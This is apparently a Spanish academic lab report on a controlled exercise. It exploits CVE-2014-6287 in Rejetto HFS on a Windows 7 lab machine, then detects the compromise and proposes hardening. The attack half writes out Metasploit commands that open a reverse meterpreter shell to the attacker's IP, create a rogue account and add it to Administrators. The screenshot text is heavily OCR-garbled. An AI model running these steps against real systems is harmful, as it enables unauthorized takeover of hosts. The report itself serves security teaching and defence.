64 bytes from 10.0.2.5: icmp_seq=5 ttl=128 time=0.360
o 6
-— 10.0.2.5 ping statistics -—
5 packets transmitted, 5 received, 0% packet loss, time 4@076ms
rtt min/avg/max/mdev = ©.306/0.391/0.506/0.070 ms

® /home/kali

Fuente: Propia

Haciendo el uso de Nmap, se detectara que puertos estan abiertos y también que
aplicacidn gestiona ese puerto.

llustracion 29: Nmap con el puerto 80

® /home/kali
) 10.0.2.5
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 20:48 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00063s latency).
Nat shown-* A5521 closed norts
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3b
| _http-server-header: HFS 2.3b
| _http-title: HFS /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1

Fuente: Propia
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Se observa no solo que el puerto 80 (HTTP) esta en estado open, sino que ademas
muestra la aplicacion que lo usa y la version actual del software.

6.3.4 Explique con sus palabras y de manera especifica como afecta el
atague a la maquina (Windows 7 X64), haga uso de gréaficos para
explicar el ataque.

Como se observa, este host maneja una versién del software que ya ha sido
expuesta como una version con vulnerabilidades criticas que pueden poner en
riesgo la informacién que se maneja en el mismo o que se pueda ejecutar cualquier
tipo de proceso con permisos de administrador, ya que al explotar esta
vulnerabilidad, el atacante puede crear un usuario sin necesidad de autenticarse
dentro de la misma y ademas darle permisos de administrador al mismo, lo cual
permitiria tener control absoluto del host. En este caso se puso en practica la
explotacion de la vulnerabilidad conocida como CVE-2014-6287 y con uso de
herramientas de Pentesting que son las mismas que podria utilizar un atacante
explotar con éxito esta vulnerabilidad.

La funcién findMacroMarker en parserLib.pas en Rejetto HTTP File Server (aks HFS
o HttpFileServer) 2.3x antes de 2.3c permite a atacantes remotos ejecutar
programas arbitrarios a través de una secuencia% 00 en una accion de budsqueda.
Como se observa en el siguiente gréfico.

llustracion 30: Ataque de Shell inversa

Computel‘ Appllcatlon 2a. Fetch script from PaStebin

r e St Pastebin
client
library

Compromised library

2b. Send seript back 'Hello \n’\d’orld--l

3. Execute
Pastebin

1.User seript

launches app

. @
L

User Hacker

prepared
malicious code

Fuente: https://blog.meterian.com/2019/08/27/vulnerability-focus-remote-code-execution-rce-attacks/
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6.3.5 Documente cada uno de los pasos que ejecutd y sus respectivas
evidencias para explotar la vulnerabilidad en la maquina Windows 7.

Sabiendo que el equipo esta ejecutando una aplicacion con una vulnerabilidad Alta
a traveés del puerto 80, se muestra como fue exitoso el ataque ejecutado a través de
una Shell Reversa utilizando Metasploit. Lo primero fue buscar que vulnerabilidades
estan asociadas a la aplicacion, por lo cual se usa el comando search hfs.

llustracion 31: Busqueda de vulnerabilidades con Metasploit

® /home/kali

IIIIII S

ity A B

740 S

[

: \
S|l s

|

II s/ N\
ITIIIX = >
I love shells —egypt

=[ metasploit v6.0.45-dev
134 exploits - 1139 auxiliary - 364 post
—=[ 592 payloads - 45 encoders - 10 nops

+ —=[ 8 evasion

Metasploit tip: Use the command to run
commands from a file

msf6 > search hfs

Matching Modules

Name Disclosure Date Rank Description
exploit/multi/http/git_client_command_exec 2014-12-18 X t Malicious Git and Mercurial HTTP Server For CVE-2014-9390
exploit/windows/http/rejetto_RfS_exec 2014-09-11 X 1 Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example 1

msf6 > i

Fuente: propia

En este caso se uso el exploit 1 (rejetto _hfs_exec) para explotar esta vulnerabilidad
en el host victima.

llustracion 32: Cargando exploit en Metasploit

msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( S |

Fuente: Propia

El siguiente paso es configurar las variables para la ejecucion del exploit. Este
exploit para ser utilizado sobre la direccion IP del equipo con Windows 7 x64 se
configuran las variables RHOST y SRVHOST donde definimos la IP del Host y la
del equipo donde se ejecutara el exploit.
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llustracion 33: Configuracion variables

msf6 exploit( ) > set RHOST 10.0.2.5
RHOST = 10.0.

msf6 exploit( ) > set SVRHOST 10.0.2.15
SVRHOST = 10.

msf6 exploit( ) > set SRVHOST 10.0.2.15

SRVHOST = 10.0.
msf6 exploit( ) > |

Fuente: Propia

Ya con estas variables configuradas, se procede a ejecutar el exploit que explotara
la vulnerabilidad seleccionada.

llustracion 34: Ejecucion del exploit

msf6 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:4444

Using URL: http://10.0.2.15:8080/xPfBjz

Server started.

Sending a malicious request to /

Payload request received: /xPfBjz

Sending stage (175174 bytes) to 10.0.2.5

Tried to delete ¥TEMP%\WplOAZXo.vbs, unknown result

Meterpreter session 1 opened (10.0.2.15:4444 — 10.0.2.5:49179) at 2021-09-22 22:14:25 -0400
Server stopped.

meterpreter > ||

Fuente: Propia

Ya se tiene acceso para ejecutar el codigo para crear usuario, el cual quedara
registrado en Windows y se podra acceder de manera remota 0 en el mismo equipo.

llustracion 35: Creacién de usuario

meterpreter > run getgui -u JairoAcevedo -p 123456

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [ ... ]
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com

Setting user account for logon
Adding User: JairoAcevedo with Password: 123456
Account could not be created
Error:
Se ha completado el comando correctamente.
For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20210922.2106.rc

Fuente: Propia

Ahora se procede a darle privilegios de Administrador al usuario que se acaba de
crear a través del comando Incognito. El cual nos permitira asociar el usuario
creado al grupo de Administradores.
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llustracion 36: use incognito

meterpreter > use incognito

Loading exte

Fuente: Propia

Para ver los grupos en este equipo, hacemos uso del comando dentro de incognito
list_tokens -g.

llustracion 37: Vista de grupos Windows 7

meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

\

\INICIO DE SESION EN LA CONSOLA
\Todos

BUILTIN\Administradores
BUILTIN\Usuarios

NT AUTHORITY\Autenticacién NTLM
NT AUTHORITY\Esta compafia

NT AUTHORITY\INTERACTIVE

NT AUTHORITY\SERVICIO

NT AUTHORITY\Usuarios autentificados
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CscService

NT SERVICE\IKEEXT

NT SERVICE\iphlpsvc

NT SERVICE\LanmanServer

NT SERVICE\Netman

NT SERVICE\PcaSvc

NT SERVICE\Schedule

NT SERVICE\SENS

NT SERVICE\ShellHwDetection

NT SERVICE\Trkwks

NT SERVICE\UxSms

NT SERVICE\Winmgmt

NT SERVICE\wuauserv
PC202006\HomeUsers

Impersonation Tokens Available

No tokens available

Fuente: Propia

Ahora a través del comando add localgroup_user se agrega el usuario
JairoAcevedo al Grupo de Administradores.
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llustracion 38: Agregar usuario a Administradores

> add_localgroup_user "Administradores” "JairoAcevedo”
: Not c

call

[#] Attemptin o add u

y running as

f if pr
-

EM, not all t s will be available

process token is SYSTEM

[+] Successfully added user to local group

Fuente: Propia

Ahora en el equipo con Windows 7 x64 se comprueba la creacién del usuario
JairoAcevedo y que esta en el grupo de Administradores.

llustracién 39: Creacion usuario JairoAcevedo

& Administracion de equip = EE ﬂ [=ll@]=]
L . n
C Archive e Ayuda ~ [ 43| [ Buscor Documentos o
Propiedades: Administradores o=
| X = HE =. 1 @
General .
in o | Nombre Descripeien
2 || B administradores Los administradores tienen acces... % Admiristradores Organizar por:  Carpeta =
|| 8 puplicadores s
& 15 USRS
as
ocal|| B Invitados Descripcién:  Los administradores tienen acceso completo y sin restricciones d
& Lectores del registro d
Miembros
& pdmiristrador
& JsiroAcevedo
& suario

b

e oo e

11:31 pn.
22/09/2021

JEIRIES

= i )

Fuente: Propia

6.4 ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

6.4.1 ¢Qué serialo primero que indagaria y haria si llegara a encontrarse un
ataque en tiempo real? Especifique su respuesta con argumentos
técnicos.

Como una primera medida se debe evaluar que tan importante es el recurso
informatico que esta siendo atacado y el impacto que tiene el que este recurso se
retire o aislé para contener el ataque y que este no se expanda hacia la red de la
empresa. Para este caso, el equipo Windows 7 X64 tiene un servicio esencial para
la empresa ya que comparte informacién con otros equipos de la red y funciona
como servidor de archivos, por lo que se debe mantener este servicio estable por lo
cual se debe analizar las posibles formas de atague que esta presentando.
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Como primera medida, se va a revisar el administrador de tareas a fin de buscar
procesos extrafios o no ejecutados directamente desde el equipo atacado.

llustracion 40: Administrador de Tareas Windows 7 X64

"% Administrador de tareas de Windows = || X
Archive Opciones Ver Ayuda

[Apicadones | Procesos | sarvidos |

ustiario

uuuuuuu

usuario

fidCmaTBERYZfIF exe *32  usuario

usuario

Servido...
SERVIC...
SYSTEM

SYSTEM

SERVIC...
SERVIC...
SERVIC...
Servida...

lostrar procesos de todos los usuarios

Procesos: 36 Uso de CPU: 0% Memoria fisica: 15%
5 CIMPRILIE S |

Fuente: Propia

Se puede observar que el equipo esta ejecutando el proceso cmd.exe que equivale
al Simbolo del sistema de Windows el cual permite ejecucién de instrucciones al
sistema operativo con privilegios de administrador. Otro proceso que se ejecuta es
fidCmaTBERyZftF.exe el cual es un proceso de Apache bench command line
utility, el cual es una linea de comandos de Apache. Estos dos procesos resultan
extrafios ya que se pueden correr cualquier tipo de sentencias de comandos y al no
estarse ejecutando en un primer plano o con algin programa asociado es
sospechoso para un posible ataque.

El siguiente paso al realizar el primer hallazgo es revisar los registros de eventos
del sistema a fin de encontrar algun evento o actividad sospechosa que permita
tener un acercamiento al ataque que se esté presentando o qué ultimos cambios se
han realizado de manera anormal. Para esto, se hace uso del visor de eventos de
Windows que viene nativo en el sistema operativo y permitira ver todo tipo de
eventos de seguridad, aplicaciones, etc.
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llustracion 41: Visor de eventos

A Administracion de equipos

Archive Accién  Ver Ayuda

X I

& %ﬂmm‘“’ﬂ("”" del equipo (lo¢/f p,ap s clave Fechay hora Origen Id. del evento Categoria de Is tarea ~ | | Acciones
4 ] Hemamientas del sistema | B
+ (® Programador de tareas A, Auditoris correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4724 Administracion de cuentss d... Seguridad -~
+ ] Visor de eventos 2, Audteris cortecta 22/09/2021 02 AU 77 42 SR A A i cronoft Windowe | 4738 Administracion de cuentas d. = Abrir registro guardado...
" 5 Vintes personalizads| | " Auditora comecta 22/09/2021 09 AuditarTs de sequrdad de M- a2 i6n de cuentas P Crearvisa pesonslize..
2 [ Registros de Windor | A EC T 22/09/2021 09 Auditoria de sequridad de M. 4720 on de cuentas .
L Reg a, " — " : Importar vista personal...
[ Aplicacién Auditoria correcta 22/09/2021 0 m. Auditoria de seguridad de M. 4728 Administracién de grupes d
(& Seguridad 2, Auditoria comrecta 22/09/2021 08:00:53 p.m. Auditoria de seguridad de M... 4672 Inicio de sesién especial Vaciar registro..
] Instalacién @, Audieris coecta 22/09/2021 08:00:53 p.m. Auditoria de seguridad de M... 4624 Inicio de sesion T Filtrar registro actual
2] sistems A, Auditoriz comecta Auditoria de seguridad de M... 4672 Inicio de sesién especial B Propieda
. ropiedades
] Eventos reenviaq | 2, Auditoria correcta Auditoria de seguridad de M... 4624 Inicio de sesion P
1 L7 Registros de aplicac| L2 - , - ¥ Buscar..
3 Suscripeiones Evento 4720, Auditeria de seguridad de Microsoft Windows. X || Guardartodoslos even...
» & Carpetas compartidas
Adjuntar t: ste re...
B Ususriosy grupos local| | | Genea! [ Detalles fjuntar tarea a este re.
»® Ver 3
) Administrador de dispo|| | |¢ cre6 una cuenta de usuario. i [d] Actualizar
4 3 Almacenamiento
(2 Administracion de d H tyuda »
- “? ’"'”‘A’T“"” =95C(] | Nombre deregistro:  Seguridad
» Ey Servicios y Aplicaciones
Origen: Auditoria de seguridad de Microso: Registrado: 22/09/2021 09:21:07 p.rm. AR R TN S
Id. del evento: 4120 Categoria de tarea:  Administracién de cuentas de usuario [ Propiedades de evento
Nivel: Informacién Palabras clave:  Auditoria corrects ] Adjuntar tarea a este ..
Usuario: No disponible Equipo: PC202006 F Copiar 4
Cédigo de operacién: Informacion I Guardar eventos selece.
Mas informacién: Ayuda Registro de eventos 16 Actualizar
H Ayuda 3
« i v

Bls .0 @& ¥ S

Fuente: Propia

llustracién 42: Creacién de una cuenta

& Administracién del equipo (logl | pajapras clave Fechay hora Origen Id. del evento  Categoria de la tarea i
4 {f} Herramientas del sistema ||| - - . -
Proaramador de tareas || - -Auditoria correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M. 4724 Administracion de cuentas d...
P E Visor de eventos Qﬁmd\toria correcta 22/09/2021 09:21:07 p.m. Auditoria de sequridad de M... 4738 Administracién de cuentas d... —
——rmr D _Auditor <t 2240072021 09:21:07 Auucitoriad cac cla b 4722 Adei ) tas
T TSEas per
4 [y Registros de Windoy
£ Aplicacién
E Segurida Qﬁmd\toria correcta Auditoria de seguridad de M... 4672 Inicio de sesion especial
T nsecion @ Auditoria correcta 22/09/2021 08:00: Auditoria de sequridad de M... 4624 Inicio de sesién
[] sistema @, Auditoria correcta 22/00/2021 08:00:53 p.m. Auditoria de seguridad de M... 4672 Tnicio de sesion especial
[£] Eventos reenvia QAud\tmia correcta 22/09/2021 08:00:52 p.m. Auditoria de seguridad de M... 4624 Inicio de sesion
» [ Registros de aplicac| [L2 &wtanas n1mama av.ccan e o aciaona 1224 .
_‘2 Suscripciones Evento 4720, Auditoria de seguridad de Microsoft Windows. x
i @ Carpetas compartidas
& & Usuarios y grupos local General | Detalles
& (%) Rendimiento
& Administrador de dispol Se creé una cuenta de usuario. o
4 %3 Almacenamiento ad
P -
_, = Administracion de discq | | o e e registro:  Seguridad
I G Servicios y Aplicaciones
Origen: Auditoria de sequridad de Microse Registrado: 09/2021 09:21:07 p.
Id. del evento: 4720 Categoria de tarea: Administracion de cuentas de usuario
Mivel: Informacidn Palabras clave: Auditoria correcta
Usuario: No disponible Equipo: PC202006

Cédigo de operacién: Informacién

Mas informacién: Ayuda Registro de eventos

Fuente: Propia

Se puede observar que se hizo la creaciéon de una cuenta de usuario. Al revisar los
detalles del evento se puede constatar lo siguiente.
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llustracion 43: Detalles del usuario creado

_'k-‘ Administracién de equipos

Archive  Accion  Ver  Ayuda

@s|

& Administracién del equipo (loc
4 [f} Herramientas del sisterna
» (5 Programador de tareas
4[] Visor de eventos
1 [ Vistas personalizada
4 [ Registros de Windoy|
2] Aplicacion
2] Seguridad
[ Instalscién
] Sistema
5] Eventos reenviag
p B Registros de aplicac|
Suscripciones

» Gl Carpetas compartidas
& d¥ Usuarios y grupos localy
» (%) Rendimiento
&4 Administrador de dispo|
4 23 Almacenamiento
=7 Administracion de discq
& iy Servicios y Aplicaciones

Palabras clave Fecha y hora

Origen

Id. del evento

Categoria de |a tarea

‘?{\Aud\tmia correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4724 Administracién de cuentas d...
(:R\,Aud\toria correcta 22/09/2021 09:21:07 p.m. Auditoria de sequridad de M... 4738 Administracion de cuentas d... ‘]
G_Anditnria corrects 220072021 18:21:07 p Avditoria de cequridad ds b 4722 Admi An de cientac o
@‘_Aud\toria correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4720 Ad stracion de cuentas d

=T Auditora correcta 2270972021 03: 2107 p.m. Euditora de segundad de M... 728 Administracien de grupos
Q‘Q,Aud\toria correcta 22/09/2021 08:00:53 p.m. Auditoria de seguridad de M.., 4672 Inicio de sesién especial
‘?{Aud\toria correcta 22/09/2021 08:00:53 p.m. Auditoria de seguridad de M... 4624 Inicio de sesion

@, Auditoria correcta 22/09/2021 08:00:53 p.m. Auditoria de seguridad de M. 4672 Inicio de sesién especial
Q‘Q,Aud\toria correcta 22/09/2021 08:00:33 p.m. Auditoria de seguridad de M... 4624 Inicio de sesién

B 4 aannman1 arcs an o feaaa acas iz 2

Evento 4720, Auditeria de seguridad de Microsoft Windows,

@ Vista descriptiva ) Vista XML
+ System
- EventData
| TargetUserNameJairoAcevedo|
TargetDomainName PC202006

|Target5id

5-1-5-21-1771133258-498679759-53607625-1003
SubjectUserSid  5-1-5-21-1771133258-498679759-53607625-1001

SubjectUserName usuario

PN T JOEE N |

mem = DMOANANS

Fuente: Propia

llustracion 44: Evento cambio de grupo

& Administracién del equipo (loc|
4 {f} Herramientas del sisterna
& (5 Programador de tareas
4 [2] Visor de eventos
» [ Vistas personalizada
4 [w Registros de Windoy
[ Aplicacion
[] Seguridad
[ Instalacion
5] Sistema
5] Eventos reenviac
» [ Registros de aplicac
[ Suscripciones
I+ gz| Carpetas compartidas
i & Usuarios y grupos localy

Fechay hora
23/09,/2021 12:00:00 a.m.

Palabras clave
@, Auditoria correcta

<, Auditoria correcta

Qrigen
Auditoria de seguridad de M...

Auditoria de seguri

Id. del evento

Categoria de la tarea

Inicio de sesién especial

]

n
Administracién de grupos d

22/09/2021 09:

1, Auditoria correcta E
22/09/2021 09:21:07 p.m.

07 p.m.

Q,Aud\tom’a correcta Auditoria de seguridad de M... 4724 Administracion de cuentas d...
Qﬁmd\tor\'a correcta 22/09/2021 03:21:07 p.m. Auditoria de seguridad de M... 4738 Administracidn de cuentas d...
%Aud\toﬂ'a correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4722 Administracion de cuentas d...
Q,Aud\tom’a correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4720 Administracion de cuentas d...
@, Auditoria corrects 22/09/2021 09:21:07 p.rm. Auditoria de seguridad de M... 4728 Administracién de grupos d...
[P EER TN o . " da s PPt " < L

Auditoria de seguridad de M.

Administracién de grupos d...

Evento 4732, Auditorfa de sequridad de Microsoft Windows.

General | Detalles

& (%) Rendimiento
= Administrador de dispo|
4 5 Almacenamiento
= Administracién de disc(
b P Servicios y Aplicaciones

|Se agregd un miembro a un grupe local con seguridad habilitada.
Nombre de registro: ~ Seguridad
Origen: Auditoria de sequridad de Microsor

4732

Registrado:

Id. del evento: Categoria de tarea:

Mivel: Informacion Palabras clave:

Usuario: Mo disponible Equipo:

Cédigo de aperacién: Informacion

Mas informacion: Ayuda Registro de eventos

22/09/2021 11:24:50 p.m.
Administracién de grupos de sequridad
Auditoria correcta

PC202006

Fuente: Propia
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llustracion 45: Detalles del cambio de grupo

A Administracién del equipo (loc

A Palabras clave Fecha y hora Origen 1d. del evente  Categoria de la tarea -
Fl '[[’! Herramientas del sistema ~ . . - .
N @ Programador de tareas <\ Auditoria correcta 23/09/2021 12:00:00 a.m. Auditoria de seguridad de M... 4672 Inicio de sesién especial
4+ [l Visor de eventos “L_Auditoria correcta 22/09/2021 12:00:00 a,m, Auditoria de seguridad de M, 4624 Inicio de sesion
+ Vistas personalizada *-‘{.‘Audltoria correcta 22/09/2021 11:24:50 p.m. Auditoria de seguridad de M... 4732 Administracién de grupos d...
4 Tt Registros de Windon | - Audioris correcta 22/05/2021 09:21.07 p.m. Auditoria de seguridad de M... 4732 Administracién de grupos ...
" [ Aplicacion @, Auditoria correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4724 Administracién de cuentas d...
‘—‘ Seguridad <\, Auditoria correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4738  Administracién de cuentas d...
] Instalacién A Auditoria correcta /09 :21:07 p.m. uditoria de seguridad de M... ministracién de cuentas d...
f <L Aud 22/09/2021 09:21:07 p. Aud de seguridad de M. 4722 Ad d d
[ Sisterna “L, Auditoria correcta /09/ 221 .m. uditoria de seguridad de M... ministracion de cuentas d...
f <1, Auditori 22/09/2021 09:21:07 p. Auditoria de seguridad de M, 4720 Admi nd d
—\ Eventos reenviae| || L, Auditoria correcta 22/09/2021 09:21:07 p.m. Auditoria de seguridad de M... 4728 Administracién de grupos d...
B adiam onmaa c T AT 4 Tinie z f 4

Registros de aplicac

4 Suscripciones Evento 4732, Auditeria de seguridad de Microsoft Windows, x

73
. &1 Carpetas compartidas
. & Usuarios y grupos local| | | Generel | Detalles

(%) Rendimiento

" ) @ Vista descriptiva Vista XML
& Administrador de dispo
4 {23 Almacenamiento .
=7 Administracién de discq + System
» 4 Serviciosy Aplicaciones
- EventData
MemberName

MemberSid 5-1-5-21-1771133258-498679759-53607625-1003
TargetUserName Administradores

TargetDomainName Builtin
TargetSid 5-1-5-32-544

Cealefmsdleenc?d © 1 C 10

Fuente: Propia

Se observa en los detalles que se ha creado un usuario de nombre JairoAcevedo
con el ID de usuario S-1-5-21-1771133258-498679759-53607625-1003 el cual no
esta relacionado en las actividades del usuario que utiliza el equipo o de alguien de
la empresa. Lo cual evidencia que se hizo la creacion de esta cuenta con el fin de
poder acceder al equipo. También se observaron eventos de cambio de grupo del
usuario hacia el grupo Administradores lo cual evidencia que este usuario ya tiene
privilegios de Administrador y que puede realizar cambios en la configuracion y tener
acceso total a la informacion de todos los usuarios del equipo.

Teniendo en cuenta lo anterior, se sabe que se ha creado una cuenta de usuario y
agregada en el grupo local de Administradores, se indaga con el Departamento de
Sistemas quienes indican que esta accion no fue realizada por esta area, lo cual
aclara la sospecha de que fue de manera remota y este evento esta relacionado
con un ataque informatico. Esto podria monitorearse en tiempo real si la empresa
contara con un Sistema de Alerta de Eventos y configurada con este tipo de eventos,
sin embargo, como la empresa no cuenta con esto, se deben hacer estos hallazgos
de manera manual. Para seguir con la verificacion del equipo, se puede hacer uso
de herramientas nativas que permitan verificar si existe todavia la conexion entre el
equipo victima (en este caso el equipo Windows 7 X64) y el equipo atacante. Para
eso se usa la herramienta de Windows a través de linea de comando cmd, la
herramienta nos permite ver la tabla de ARP de la interfaz de red del equipo donde
nos muestra las direcciones IP y la direccion MAC de los dispositivos que han
realizado comunicacién de ARP en la red.
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llustracion 46: Tabla ARP Windows 7 X64

B Administrade

Microsoft Windows [U
Copyright (c> 2089 M £t Copporation. Reservados todos los derechos. = U Estado de Conexién de drea local B3
C:\Users\usuariodarp —a Detalles de la conexion de red (=l
Interfaz: 18.8.2.5 — Bxb )

Direccién de Internet Diveccign fisica Detalles de la conexién de red:

16.8.2.1 52-54-90-12-35-09 dindnico

10.8.2.3 6 dindni Propiedad Vilor

10.9-2-15 Sufio DNS especiicop... Caship

8.6, Descipcién Adsptador de sscrtoro Intel(R) PRO/100

224-9:2-252 o Direccion fisica 08-00-27-52:80C0

255255255 .255 FE-FE-FE-EE—FE—£F i Hahiitado nam DHCP I

. . Direccion IPvd 10025
C:Wsersusuarios Wascars de subred IPvd 255 255,255 0

Concssién obtenida sébado, 02 de octubre de 2021 10:24.34)
‘ 4 e octubre de 2021122937,

Puetta ds enlace predet . 10021

Servider DHCF IFvd 0022

raoT v

Servidor WINS IPvé

Habilitado para NetBios .. Si

Vinculo: direccién IPv6 ... fe80:4842:9c04 4238:7898% 11

Puetta d enlace predet

Servidor DNS IPvE

< i b

| Cemar |

Fuente: Propia

Se puede observar en la tabla ARP que han tenido comunicacion algunas
direcciones IP, una ha sido la puerta de enlace (10.0.2.1), la otra es el Servidor
DHCP (10.0.2.3) y una direccion IP 10.0.2.15 la cual no se reconoce en la conexion.
Se hara uso de una herramienta muy Util para detectar si esta direccion tiene una
conexién establecida con el equipo Windows 7 X64 y esta es netstat.
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llustracion 47: Tabla de conexiones con netstat

B Seleccionar Administrador C:\Windows'\system32\cmd.exe == @
e
oto [) g 0 D [} E 0 0 0
A.0.0.8:80 A.0.0.0:0 sTENIN
A.0.0._0 A.0.0.0:0 sTENIN
A.0.0._0 A.0.0.0:0 sTENIN
A.0.0.0 A.0.0.0:6 sTENIN
A.68.8.8:16 A.0.0.0:6 STENIN
A.0.0.0 A.0.0.0:6 STENIN
A.68.8.8:16 A.0.0.0:6 STENIN
A.0.0.0 ] A.0.0.0:6 STENIN
H.68.0.0:1029 A.0.0.0:0 STENIN
H.6.8.8:1036 A.0.0.0:6 STENIN
A.0.8.8:2869 A.0.0.0:6 STENIN
A.0.0.0 A.0.0.0:6 STENIN
R 10.0.2.5:80 10-0.2 15 :45873 ESTABLISHED
d d J J J J J
R A. 0 A A.6 Ag o cTh i-. D
R A. 0 g A.6 cTh SHED
P § I
P § I
P § I
3 by i HIMN
P § I
D b b
3 e : HH
u d ™ ™
F =) 3 i : :
P a3 § I
: 2869 ; NIN L
P 5 JL r
D 5 5 b b
P H.HA_.H_H i
P H.HA_.H_H H
P H.HA_.H_H H
P H.HA_.H_H i
P H.HA_.H_H HA 4
P H.HA_.H_H i
P H.HA_.H_H
P H_.H_H_H 9 S
Fi i) B

Fuente: Propia

Se puede observar que se tiene conexiones establecidas hacia esta direccion IP
10.0.2.15 por lo cual se deduce que esta IP esta involucrada en el ataque
informatico.

Lo que se puede evidenciar es que hay una vulnerabilidad aprovechada para
ingresar de manera arbitraria al equipo y poder ejecutar procesos y comandos para
acceder y controlar el equipo, todo a través del puerto 80, se puede observar que
en este equipo usan un software para compartir archivos en red llamado HTTP File
Sever, el cual usa el puerto 80 para compartir los archivos y el cual esta en una
version vulnerable a ataques de Shell Reversa ya muy conocidos. Por lo cual como
primera medida se debe actualizar el software utilizado en el equipo a una version
gue ya haya corregido la vulnerabilidad, sin embargo, también se observa que el
sistema operativo ya no cuenta con soporte por parte del fabricante (Microsoft) y por
lo cual ya no recibe ningun tipo de actualizacion de seguridad que pueda parchar
mas vulnerabilidades que aun no se han hallado.
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6.4.2 ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red
team qué medidas de hardenizacion propondria para que el ataque no
se repita?

Como ya se expuso anteriormente, el equipo atacado hace uso de un software para
compartir archivos con una vulnerabilidad que ya se ha expuesto en varios sitios de
vulnerabilidades y cuenta con varios CVE conocidos y con exploit desarrollados
para explotar esta vulnerabilidad. Por lo cual se proponen las siguientes medidas
de Harderizacion:

e Cambiar la version del software afectado a una version estable que ya haya
corregido esta vulnerabilidad haciendo una revision con el proveedor de que
version es la méas apropiada para seguir utilizando el servicio por otros
equipos de la empresa

llustracion 48: Vulnerabilidad CVE2014-6287

c (o] mitre.org, 14 B % QBusr 2 & @ ¥

TOTAL CVE Records: 161208
NOTICE: CVE websile transitioning to new “"CVE.ORG" web address. Process Lo begin in late Seplember 2021 and last one year. (details)

Printer-Friendly View

CVE-2014-6287 Learn more at National Vulnerability Database (NVD)

CVSS Severity Rating = Fox Information + Vuinerable Software Versions + SCAP Mappings + CPE Information
The findMacraMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFilleServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a %00 sequence in a search acti

ferences are provided for the convenience of the reader to help distinguish between vulnerabilibes. The kst is not mtended to be complete

« CERT-VN:VU#251276

e record creation date may reflect when the CVE ID was allocated or reserved, and does not necessardy indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in

Assigned (20140509)

Fuente: https://cve.mitre.org/cgi-bin/cvename.cqi?name=CVE-2014-6287

e En los hallazgos encontrados, se evidencia que el sistema operativo no
cuenta con una solucién de Antivirus y que la opcién de Antivirus del Sistema
operativo se encuentra desactualizado. Estos elementos ayudan a mitigar los
riesgos de ataques de tipo Malware o de Accesos no Concedidos por lo cual
una de las medidas seria optar por una solucion de este tipo para asi cerrar
esa brecha de seguridad.
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llustracion 49: Version de Windows

——
) [/ Panel de control » Todoslos elementos de Panel de control » Sistema

Ventana principal del Panel de . PP .
control Ver informacion bésica acerca del equipo

&) Administrador de dispositivos Edicién de Windows

&) Configuracion de Acceso Windows 7 Professionsl

remoto Copyright € 2009 Microsoft Corporation. Reservados todos los derechos.

18 Proteccion del sistema Service Pack1

18 Configuracin avanzada del
sistema

Sistema
Evaluzcion: ,‘_F,u’ Evaluacién de la experiencia en Windows =
Procesador: 11th Gen Intel(R) Core(TM) i5-11400 @ 260GHz 2.59 GHz
Memoria instelada (RAM): 4,00 GB
Tipo de sistema: Sistema operativo de 64 bits
Lapizy entrada tactil La entrada tictil o manuserita no estd dispenible para esta pantalla

Configuracién de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo: PC202006 ) Cambiar
Nombre complete de PC202006 configuracién

Vea también equipo:

Centro de actividades Descripcién del equipo:

Windows Update Grupo de trabajo: WORKGROUP

Informacién y herramientas de i

o Activacion de Windows.

A Debe realizar Ia activacién hoy. Active Windows ahora. -

Fuente: Propia

llustracion 50: Centro de Seguridad de Windows 7 X64

—r—
uu |P » Panel de control » Todos los elementos de Panel de control » Centro de actividades

Ventana principalcenide Revisar mensajes recientes I bl

e j y resolver problemas

El Centro de actividades detectd algunos problemas que debe revisar.
Cambiar configuracion del

Centro de actividades

#) Cambiar configuracién de Seguridad

Control de cuentas de usuaric
Ver mensajes archivados Proteccién contra spyware y software no deseado (Importante) e
W e tmE e ] Windows Defender no estd actualizade.
